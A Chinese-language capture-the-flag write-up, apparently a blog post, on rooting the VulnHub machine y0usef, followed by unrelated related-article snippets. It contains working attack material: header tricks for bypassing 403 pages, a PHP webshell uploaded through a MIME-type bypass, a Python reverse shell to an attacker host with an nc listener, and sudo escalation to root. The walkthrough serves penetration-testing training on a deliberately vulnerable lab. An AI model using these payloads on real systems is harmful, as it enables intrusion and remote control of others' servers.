jjzjj

第十一次打靶

我想对你说 2023-03-28 原文

靶机介绍

1)靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova

2)靶机难度:低(低难度是指那些出现概率高、研究较为充分、学习资料丰富、需要熟练掌握并快速发现的漏洞类型。相比于高难度漏洞,低难度漏洞的威胁等级往往更高,因此每个渗透测试者都必须精通熟练掌握)

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、指纹探测、弱口令、403 Bypass、文件上传及绕过、base64编码、本地提权

5)本次打靶过程主要说明文件上传和403绕过漏洞的利用方法

打靶过程

1)主机发现

# arp-scan -l

2)对目标主机进行全端口扫描

# nmap -p- 192.168.56.115

3)对目标主机开发的端口进行服务版本扫描

# nmap -p22,80 -sV -sC 192.168.56.115

4)对目标主机的80端口进行直接访问,只返回简单页面,手动对站点进行信息搜集

http://192.168.56.115/
http://192.168.56.115/admin             #404
http://192.168.56.115/rebots.txt		#404
http://192.168.56.115/login       		#404

①访问首页,返回页面服下

②查看首页源代码,也未发现有价值内容(如有提示的注释信息、调用后端API的接口等)

5)通过whatweb小工具,查看目标服务器端的应用系统技术栈、架构等。

# whatweb http://192.168.56.115/

上述信息显示:服务器使用apache中间件,使用了Bootstrap前端框架、使用了Query库,服务器端使用的是PHP的开发语言环境

6)针对目标服务器上隐藏的目录、文件进行爬取。爬取结果中出现了大量403的状态码(403表示拒绝访问,大概率在目标系统上存在扫描到的文件,但是因为服务器端权限限制的原因,使得未经身份认证的用户,无法直接请求到存在于目标靶机的文件)

# dirsearch -u http://192.168.56.115/

对于上述扫描出的301跳转,直接访问也显示了forbidden,并且返回响应码也为403

补充:出现上述提示可以说明:客户端所请求的文件,在目标服务器上是存在的,但是因为开发人员做了相应的权限设置或者身份验证等安全措施。当渗透测试过程中,当服务端返回403错误,可以进行403绕过测试(bypass)。常见403错误bypass方法

①使用旁站的方式尝试绕过403的权限限制:先通过信息搜集的方式,收集到目标企业可能使用的abc.com域下的其他主机名。如果目标系统的开发人员有可能只针对host头部为www.abc.com的请求做了权限限制,但是对其他该域之下的主机名访问相同的URL时,有可能目标服务器会相应正常的200状态码。

#Request
GET /auth/login HTTP/1.1
Host:www.abc.com
#Response
HTTP/1.1 403 Forbidden

#Request
GET /auth/login HTTP/1.1
Host:$xxx$.abc.com
#Response
HTTP/1.1 200 OK

②通过覆盖URL的方式进行403的绕过:因为有很多的web应用的目标程序,在进行权限控制时,只针对GET的具体的地址时,才进行地址的检查和设置。但是第二种方式通过增加X-Original-URL头部的方式最终访问到了目标地址,但是GET参数却是/。如果目标系统使用就是基于URL路径,进行权限的限制,那么通过URL覆盖的方式即可进而绕过403的权限限制

#Request
GET /auth/login HTTP/1.1
#Response
HTTP/1.1 403 Forbidden

#Request
GET /auth/login HTTP/1.1
X-Original-URL: /auth/login         
X-Rewrite-URL: /auth/login 		    #URL重写
ReFerer:https://xxx/auth/login      #基于ReFerer头部验证
#Response
HTTP/1.1 200 OK

③通过一下X开头的一些列头部,基本都是非标准的HTTP头部,这些头部一般都代表,当访问到目标服务器之前,经过了几个反向的代理服务器的代理请求的记录 。通过对这些头部的修改,来欺骗服务器,本次的http请求是由代理服务器本身发起的

#Request
GET / HTTP/1.1
Host:192.168.56.114
X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For:127.0.0.1
#Response
HTTP/1.1 200 OK

7)通过当前靶机,按照上述方法按个尝试发现,只有通过设置X-Forwarded-For:127.0.0.1头部是有效的,返回的状态码变为了200

http://192.168.56.115/adminstration/
X-Forwarded-For:127.0.0.1

添加XFF头部后,返回页面如下

8)按照上述登录页面,测试是否存在弱口令:测试发现,当用户名和密码均输入admin时,可直接登入系统后台。但登陆时,为了满足权限验证,需要在所有的请求数据包中,都增加X-Forwarded-For:127.0.0.1头部信息。

后台页面如下:

9)挨个对页面中的链接进行测试,发现了文件上传的页面

补充:文件上传绕过常见方法

①修改上传文件扩展名

②修改文件MIME类型

③在数据段添加真实的图片的头部信息,再在最后的位置添加php的webshell内容(即图片马)

10)本次靶机文件上传绕过测试中,发现可以通过修改MIME类型的方式进行webshell上传,上传数据包中同样要添加XFF字段内容。

#webshell脚本内容
<?php $var=shell_exec($_GET['cmd']); echo $var ?>

根据返回的信息的进行访问,利用上传的webshell执行系统命令

http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls

11)反弹shell,突破系统边界

①利用python执行反弹shell,先判断服务器端有无python:根据返回结果显示,服务器端存在python

http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python

②通过python代码反弹shell

#反弹shell代码:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

#浏览器访问
http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
    
#kali主机监听    
nc -lvvp 4444

成功获取到shell

12)获取到shell后,进行信息搜集:查看用户文件中支持登录的账号,发现了一个yousef用户

$ cat /etc/passwd|grep /bin/bash

13)进入home目录后,发现存在一个flag文件,但其内容为base64编码

www-data@yousef-VirtualBox:/$ cd /home 
www-data@yousef-VirtualBox:/home$ ls
user.txt  yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

14)对base64编码进行解码发现了一个ssh的用户名和密码

15)通过上述账号,直接ssh登录目标服务器

# ssh yousef@192.168.56.115

16)通过查看发现该用户存在sudo权限配置,且yousef用户可以运行系统上的所有命令。直接通过sudo -s将该用户提升至root用户,获取到flag

yousef@yousef-VirtualBox:~$ sudo -l
yousef@yousef-VirtualBox:~$ sudo -s
root@yousef-VirtualBox:~# cd /home/
root@yousef-VirtualBox:/home# cat user.txt 
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=

有关第十一次打靶的更多相关文章

  1. 工程(十一)——NUC11+D435i+VINS-FUSION+ESDF建图(github代码) - 2

    博主的合并代码git@github.com:huashu996/VINS-FUSION-ESDFmap.git一、D435i深度相机配置1.1SDK+ROS参考我之前的博客,步骤和所遇见的问题已经写的很详细了https://blog.csdn.net/HUASHUDEYANJING/article/details/129323834?spm=1001.2014.3001.55011.2相机标定参数1、相机内参通过rostopic的camera/info获取header:标准消息头seq:序列ID,连续递增的ID号stamp:两个时间戳frame_id:与此数据相关联的帧IDheight:图像尺

  2. ElasticSearch(十一)【集群搭建】 - 2

    十一、ES集群的相关概念上一篇文章《ElasticSearch-聚合查询》集群(cluster)一个集群就是由一个或多个节点组织在一起,它们共同持有你整个的数据,并一起提供索引和搜整合应用索功能。一个集群由一个唯一的名字标识,这个名字默认就是elasticsearch。这个名字是重要的,因为一个节点只能通过指定某个集群的名字,来加入这个集群节点(node)一个节点是集群中的一个服务器,作为集群的一部分,它存储你的数据,参与集群的索引节点和搜索功能。和集群类似,一个节点也是由一个名字来标识的,默认情况下,这个名字是一个随机的漫威漫画角色的名字,这个名字会在启动的时候赋予节点索引(Index)一组

  3. 计算机网络(十一)——导论与路由器工作原理 - 2

    文章目录1.网络层的概述2.路由器的工作原理2.1路由器的组成2.2转发2.2.1查找2.2.2交换2.2.3输出端口处理核心内容路由器的工作原理1.网络层的概述(1)功能结构网络层用于提供主机与主机之间的逻辑通信,源主机网络层接收来自运输层的报文段,将其封装为一个数据报并向相邻的路由器发送数据报。接收方的网络层接收来自相邻路由器的数据报,提取出报文段交付给运输层。为此需要提供转发和路由选择两个功能。网络层能够被划分为两个相互作用的部分,数据部分和路由部分:数据部分的主要作用:转发,即分组从输入链路接口转发到合适的输出链路接口。控制部分的主要作用:路由选择,即决定从源主机到目的主机,分组所采用

  4. STM32_基础入门(十一)第二篇_通用定时器使用详解 - 2

    持续关注阿杰在线更新保姆式笔记~~坚持日更目录一、通用定时器基本介绍二、基本定时功能1、定时器时钟来源分析2、常用库函数3、代码区三、定时器输出PWM3.1基本介绍3.2 PWM工作过程​3.3 常用库函数 ​PWM输出配置步骤: 3.4 代码区四、输入捕获功能1.基本介绍2.工作过程3.常用库函数 输入捕获的一般配置步骤 代码区一、通用定时器基本介绍通用定时器包括TIM2、TIM3、TIM4和TIM5STM32通用定时器是一个通过可编程预分频器驱动的16位自动装载计数器构成。每个定时器都是完全独立的,没有互相共享任何资源。它们可以一起同步操作。定时器可以进行定时器基本定时,输出4路PWM,输

  5. Javascript getDay 返回四月、六月、九月、十一月的错误值 - 2

    我正在使用位于此处的脚本:http://www.javascriptkit.com/script/script2/dyndateselector.shtml如果您尝试并转到4月、6月、9月或11月中的任何一个,您会发现星期几列不正确。这是不正确数据的列表(x开始y的东西显示下个月。)被窃听的月份:4月4日(星期日而不是星期五开始)五月从周日开始6月6日(周五而不是周三开始)七月从星期五开始9/9月(星期六而不是星期四开始)十月从星期六开始11/11月(星期四而不是星期二开始)十二月从星期四开始您会注意到每个有错误的月份都是从下个月的那一天开始的,但所有其他月份似乎都是正确的。我找不到关

  6. 【web系列十一】使用django创建数据库表 - 2

    目录基本介绍ModelORM创建数据库的流程安装插件        安装python中操作MySQL的库,这里用了django官方推荐的mysqlclient创建数据库连接数据库1、工程同名app下的settings.py2、子应用的models.py3、子应用中的admin.py生成数据表1、更新数据表变化情况2、生成/更新数据表3、版本回退详解Model语法字段定义外键参数其他一些参数的含义数据库操作添加数据获取数据更新数据更新包含外键的数据删除数据更新数据表结构方法1:先删除再重构方法2:新增字段可以直接在原结构上添加问题记录django中获取的当前时间被保存到mysql数据库中会有时差

  7. 走进小程序【十一】微信小程序【使用Echarts 和 腾讯地图】 - 2

    文章目录🌟前言🌟效果展示🌟使用Echarts🌟Echarts官网🌟体验示例小程序🌟下载🌟引入组件🌟创建图表🌟暂不支持的功能🌟使用地图🌟map组件🌟创建图表🌟写在最后🌟前言哈喽小伙伴们,小程序的新星计划在这周也进入了尾声,回顾一个月输出小程序相关文章以来,收获颇多充实了很多;大家一定在项目需求当中遇到过需要使用Echarts和地图组件吧;今天这篇文章我会带领大家去实际的操作一下;话不多说,咱们直接开整!🤘🌟效果展示🌟使用Echarts🌟Echarts官网Echarts官方介绍微信小程序使用Echarts🌟体验示例小程序在微信中扫描下面的二维码即可体验EChartsDemo:🌟下载为了兼容小程序C

  8. 安卓玩机搞机技巧综合资源-----修改rom 制作rom 解包rom的一些问题解析【二十一】 - 2

    接上篇安卓玩机搞机技巧综合资源------如何提取手机分区小米机型代码分享等等【一】安卓玩机搞机技巧综合资源------开机英文提示解决dm-veritycorruptionyourdeviceiscorrupt.设备内部报错AB分区等等【二】安卓玩机搞机技巧综合资源------EROFS分区格式小米红米机型分区类型刷写recovery方法列举【三】安卓玩机搞机技巧综合资源------进入9008步骤MTK端口修改屏幕分辨率如何刷写GSI镜像等等【四】安卓玩机搞机技巧综合资源-----关闭miui广告怎么省电替换开机动画LOGO锁屏壁纸等等【五】安卓玩机搞机技巧综合资源-----卸载内置软件获

  9. Oracle系列十一:PL/SQL - 2

    PL/SQL1.PL/SQL语句块组成2.变量的声明与使用3.控制语句4.异常处理PL(ProceduralLanguage)/SQL是一种程序设计语言,用于编写Oracle数据库的存储过程、触发器、函数等对象,还还支持面向对象编程(OOP)和动态SQL,可提高开发效率和应用程序的可维护性。PL/SQL结合了SQL语句和通用程序设计语言的特性,可实现复杂的数据操作和业务逻辑。与SQL语句相比,PL/SQL具有更强大的数据处理功能和更高的执行效率,可在服务器端进行处理,减少网络通信开销,方便维护和重用。1.PL/SQL语句块组成PL/SQL语句块由三个主要部分组成:声明部分、执行部分、异常处理。

  10. 服务搭建篇(十一) 容器引擎Docker的部署及介绍 - 2

    感兴趣的话大家可以关注一下公众号:猿人刘先生,欢迎大家一起学习,一起进步,一起来交流吧!一.Docker简介Docker是一个开源的容器引擎,它有助于更快地交付应用。Docker可将应用程序和基础设施层隔离,并且能将基础设施当作程序一样进行管理。使用Docker可更快地打包、测试以及部署应用程序,并可以缩短从编写到部署运行代码的周期。1.Docker的优点1.1简化程序Docker让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,便可以实现虚拟化。Docker改变了虚拟化的方式,使开发者可以直接将自己的成果放入Docker中进行管理。方便快捷已经是

随机推荐